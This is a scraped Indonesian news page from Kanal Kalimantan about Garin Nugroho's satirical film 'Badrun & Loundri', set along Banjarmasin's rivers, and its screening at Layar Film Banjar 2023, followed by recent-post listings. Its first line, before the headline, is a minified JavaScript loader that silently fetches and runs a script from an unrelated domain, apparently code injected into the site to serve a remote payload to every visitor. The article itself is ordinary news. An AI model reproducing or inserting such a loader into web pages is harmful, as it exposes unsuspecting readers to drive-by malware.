(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kritik Tokoh Berpenampilan Islami Film “Badrun & Loundri” dari Pinggiran Sungai Banjarmasin


KANALKALIMANTAN.COM, BANJARBARU – Kreatifitas anak muda Banua mulai membuka jalan lebar menuju kancah nasional dunia perfilman Indonesia.

Kolaborasi membanggakan dari industri film Kalimantan Selatan (Kalsel) kali ini ditunjukkan oleh Forum Sineas Banua (FSB) program exhibisi tahunan Forum Sineas Banua bertajuk Layar Film Banjar (LFB) 2023.

LFB 2023 adalah sebuah event perayaan untuk sineas Kalsel yang agendanya menampilkan karya-karya film pelajar dan umum baik film panjang, pendek, video clip, dan dokumenter.

Dalam event itu mereka mempersembahkan sebuah film drama satir berjudul ‘Badrun & Loundri’. Film hasil garapan kerjasama dari Jogja Film Academy (JFA), KlikFilm, Garin Workshop dan juga Forum Sineas Banua (FSB) sendiri.

Baca juga: Cerita Dua Produser Film “Ancika 1995” dan “Saranjana Kota Ghaib”, Industri Perfilman Kalsel Cerah

Film Badrun & Loundri merupakan karya sutradara Garin Nugroho yang mengangkat kisah-kisah nyata di Indonesia, perpolitikan agamis dalam negeri, dan mengambil setting lokasi di pinggiran sungai Banjarmasin.

Film ini sebelumnya sudah launching di Jakarta World Cinema Week dan Jogja Asian-NETPAC Film Festival (JAFF). Hampir semua produksi melibatkan kru dan pemain dari Banjarmasin, Kalimantan Selatan.

Keterlibatan Forum Sineas Banua dalam badan produksi film Badrun & Loundri berdasarkan hasil workshop yang dilaksanakan Garin Nugroho dan Arswendy Beningsawa.

Baca juga: Pegiat Alam Bebas di Kalsel Dibekali Ilmu Hadapi Gigitan dan Gangguan Ular

Dalam rangkaian workshop tersebut Forum Sineas Banua diajak membuat tim penulisan naskah, dimana semua cerita diambil dari latar peristiwa yang dekat dan terjadi di Kalsel.

“Gagasan film ini dibuat berdasarkan suatu peristiwa-peristiwa yang sangat dekat dengan pengalaman warga setiap orang, lalu dirangkai satu persatu untuk mendapatkan gambaran yang lebih besar,” ujar Garin Nugroho dalam keterangan yang diterima saat sesi wawancara di Jogja Asian-NETPAC Film Festival.

Badrun & Loundri sekilas tampak begitu sederhana, karena tidak memakan budget begitu besar dalam produksi.

Meski terlihat simpel, namun visual yang ditawarkan oleh Garin dalam film ini benar-benar bisa menyihir penonton dengan adegan long take-nya dari pemandangan Banjarmasin yang dipenuhi oleh air.

Baca juga: Lomba Renang 50 Meter SD SMP Warnai HUT ke-27 Lanal Banjarmasin

“Menenangkan dan bikin hati adem. Visualnya boleh sederhana, tapi cerita yang ditawarkan di film ini cukup menarik dan cukup menyindir,” ungkap dia.

Lewat film ini, Garin seperti ingin menyenggol keresahan yang kerap terjadi terjadi di Indonesia. Terlebih saat ini akan memasuki Pemilu 2024. Kemudian dituangkan melalui kritikan cerdiknya lewat film bergenre drama tersebut.

Film ini sarat muatan politis seperti Daun di Atas Bantal (1998), tetapi dikemas dengan pendekatan yang lebih ringan menyerupai filmografinya yang lain, Rindu Kami Padamu (2004).

“Di beberapa daerah dengan kultur agamis seperti di Banjar, memang masih jamak ditemukan kelompok masyarakat yang fanatik terhadap tokoh-tokoh berpenampilan Islami. Terlebih banyak kasus penipuan yang mengatasnamakan agama, seakan agama menjadi jualan yang manis untuk menarik hati masyarakat,” terangnya

Film Badrun & Loundri muncul sebagai gagasan atas maraknya pencitraan dari simbol busana dan pencitraan digunakan untuk menyetir persepsi publik.

Baca juga: Terjerat Korupsi Proyek 50 Jamban, Kades dan Aparatur Desa Astambul Kota Disidang

Persepsi umum yang telah terkondisikan dengan sendirinya akan membentuk opini publik. Lalu, opini kolektif melahirkan narasi yang cenderung dipercayai banyak orang.

Film Badrun & Loundri akan menjadi film penutup rangkaian acara Layar Film Banjar 2023 pada 16 Desember 2023 di Banjarmasin Creative Hub.

Dalam rangkaian LFB pada Jumat (15/12/2023) kemarin, FSB menghadirkan dua produser film nasional berdarah Banjar, yakni Budi Ismanto sebagai produser film Ancika 1995 dan Johansyah Jumberan sebagai produser film Saranjana Kota Ghaib.

Kedua produser cakap itu membekali puluhan insan kreatif Banua dalam focus group discussion yang juga dilaksanakan di Banjarmasin Creative Hub. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Randi Juara Turnamen Billiard Bupati Kapuas Cup 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno didampingi Sekretaris Daerah (Sekda) Kapuas Septedy… Read More

46 menit ago

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi… Read More

1 jam ago

Tingkatkan Kompetensi 183 Kades se Kapuas Digembleng di Pusdiklat Kemenhan

KANALKALIMANTAN.COM, KUALA KAPUAS - Sebanyak 183 Kepala Desa dan Penjabat Kepala Desa (Kades) se Kabupaten… Read More

2 jam ago

Festival Budaya Tingang Menteng Panunjung Tarung 2025 Ditutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Festival Budaya Tingang Menteng Panunjung Tarung 2025 sukses digelar dalam rangka… Read More

2 jam ago

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

18 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

22 jam ago